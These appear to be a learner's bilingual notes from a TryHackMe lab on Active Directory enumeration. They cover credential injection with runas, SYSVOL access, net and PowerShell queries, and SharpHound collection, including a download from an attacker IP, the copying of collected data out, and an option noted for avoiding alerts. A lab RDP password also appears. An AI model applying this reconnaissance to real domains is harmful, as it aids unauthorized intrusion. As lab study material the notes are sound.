• The AD snap-ins of the Microsoft Management Console.
    Microsoft 管理控制台的 AD 管理单元。

  • The net commands of Command Prompt.
    命令提示符的 net 命令。

  • The AD-RSAT cmdlets of PowerShell.
    PowerShell 的 AD-RSAT cmdlet。

  • Bloodhound. 猎犬。

Credential Injection

一个工具

runas.exe /netonly /user:<domain>\<username> cmd.exe

  • /netonly - 由于我们未加入域,因此我们希望加载用于网络身份验证的凭据,但不对域控制器进行身份验证。因此,在计算机上本地执行的命令将在标准 Windows 帐户的上下文中运行,但任何网络连接都将使用此处指定的帐户进行。
  • /user - 在这里,我们提供域和用户名的详细信息。使用完全限定域名 (FQDN) 而不仅仅是域的 NetBIOS 名称始终是一个安全的选择,因为这将有助于解析。
  • cmd.exe - 这是我们在注入凭据后要执行的程序。这可以更改为任何内容,但最安全的赌注是cmd.exe,因为您可以使用它来启动您想要的任何内容,并注入凭据。

任何 AD 帐户,无论权限多么低,都可以读取 SYSVOL 目录的内容
SYSVOL 是存在于所有域控制器上的文件夹。它是一个共享文件夹,用于存储组策略对象 (GPO) 和信息以及任何其他与域相关的脚本。它是 Active Directory 的基本组件,因为它将这些 GPO 传送到域上的所有计算机

$dnsip = "<DC IP>"
$index = Get-NetAdapter -Name 'Ethernet' | Select-Object -ExpandProperty 'ifIndex'
Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dnsip

Windows配置dns

细节

dir \\za.tryhackme.com\SYSVOL
dir \\<DC IP>\SYSVOL

这两个并不一样
当我们提供主机名时,网络身份验证将首先尝试执行 Kerberos 身份验证。由于 Kerberos 身份验证使用票证中嵌入的主机名,因此如果我们提供 IP,则可以强制身份验证类型为 NTLM

task3

xfreerdp /d:za.tryhackme.com /u:'rachel.dunn' /p:'Bmlj9838' /v:thmjmp1.za.tryhackme.com /drive:.,kali-share +clipboard

打开那个app,xfreerdp太卡了

task4

cmd枚举

net user /domain
net user t0_tinus.green /domain #枚举某个人

net group /domain
net group "Tier 1 Admins" /domain


net accounts /domain #枚举密码策略

密码策略解释如下

  • Length of password history kept. Meaning how many unique passwords must the user provide before they can reuse an old password.
    保留密码历史记录的长度。这意味着用户必须提供多少个唯一密码才能重复使用旧密码。
  • The lockout threshold for incorrect password attempts and for how long the account will be locked.
    错误密码尝试的锁定阈值以及帐户将被锁定的时间。
  • The minimum length of the password.
    密码的最小长度。
  • The maximum age that passwords are allowed to reach indicating if passwords have to be rotated at a regular interval.
    允许密码达到的最长期限,指示是否必须定期轮换密码。

PowerShell

Get-ADUser -Identity beth.nolan -Server za.tryhackme.com -Properties * #枚举AD用户
Get-ADUser -Filter 'Name -like "*stevens"' -Server za.tryhackme.com | Format-Table Name,SamAccountName -A #加filter



Get-ADGroup -Identity Administrators -Server za.tryhackme.com

Get-ADGroupMember -Identity Administrators -Server za.tryhackme.com


#查找指定时间后修改用户

$ChangeDate = New-Object DateTime(2022, 02, 28, 12, 00, 00)
Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server za.tryhackme.com

#域
Get-ADDomain -Server za.tryhackme.com

芝士雪豹

Sharphound.exe --CollectionMethods <Methods> --Domain za.tryhackme.com --ExcludeDCs

  • CollectionMethods - Determines what kind of data Sharphound would collect. The most common options are Default or All. Also, since Sharphound caches information, once the first run has been completed, you can only use the Session collection method to retrieve new user sessions to speed up the process.
    CollectionMethods - 确定 Sharphound 将收集的数据类型。最常见的选项是“默认”或“全部”。此外,由于 Sharphound 缓存信息,因此一旦第一次运行完成,您只能使用 Session 收集方法来检索新的用户会话以加快该过程。
  • Domain - Here, we specify the domain we want to enumerate. In some instances, you may want to enumerate a parent or other domain that has trust with your existing domain. You can tell Sharphound which domain should be enumerated by altering this parameter.
    域 - 在这里,我们指定要枚举的域。在某些情况下,您可能希望枚举与现有域具有信任关系的父域或其他域。您可以通过更改此参数来告诉 Sharphound 应该枚举哪个域。
  • ExcludeDCs -This will instruct Sharphound not to touch domain controllers, which reduces the likelihood that the Sharphound run will raise an alert.
    排除 DC - 这将指示 Sharphound 不要触摸域控制器,从而降低 Sharphound 运行引发警报的可能性。

SharpHound.exe --CollectionMethods All --Domain za.tryhackme.com --ExcludeDCs

Invoke-WebRequest http://10.17.6.173/SharpHound-v1.1.1.zip -OutFile SharpHound-v1.1.1.zip

# Unzip the archive with PowerShell
Expand-Archive SharpHound-v1.1.1.zip
cd SharpHound-v1.1.1

通不了内网,你明明的

scp SharpHound-v1.1.1.zip kimberley.smith@za.tryhackme.com@thmjmp1.za.tryhackme.com:C:/Users/kimberley.smith/Documents
拿个文件是真烦
scp kimberley.smith@za.tryhackme.com@thmjmp1.za.tryhackme.com:"C:/Users/kimberley.smith/Documents/SharpHound-v1.1.1/20240416080324_BloodHound.zip" .

4和1是适配的5和2是适配的

node info

  • Overview - Provides summaries information such as the number of active sessions the account has and if it can reach high-value targets.
    概述 - 提供摘要信息,例如帐户的活动会话数以及是否可以达到高价值目标。

  • Node Properties - Shows information regarding the AD account, such as the display name and the title.
    节点属性 - 显示有关 AD 帐户的信息,例如显示名称和标题。

  • Extra Properties - Provides more detailed AD information such as the distinguished name and when the account was created.
    额外属性 - 提供更详细的 AD 信息,例如可分辨名称和帐户的创建时间。

  • Group Membership - Shows information regarding the groups that the account is a member of.
    组成员身份 - 显示有关帐户所属组的信息。

  • Local Admin Rights - Provides information on domain-joined hosts where the account has administrative privileges.
    本地管理员权限 - 提供有关帐户具有管理权限的已加入域的主机的信息。

  • Execution Rights - Provides information on special privileges such as the ability to RDP into a machine.
    执行权限 - 提供有关特殊权限的信息,例如将 RDP 连接到计算机的能力。

  • Outbound Control Rights - Shows information regarding AD objects where this account has permissions to modify their attributes.
    出站控制权限 - 显示有关此帐户有权修改其属性的 AD 对象的信息。

  • Inbound Control Rights -  Provides information regarding AD objects that can modify the attributes of this account.
    入站控制权限 - 提供有关可修改此帐户属性的 AD 对象的信息。

Pasted%20image%2020240416152026

analyse里面找吧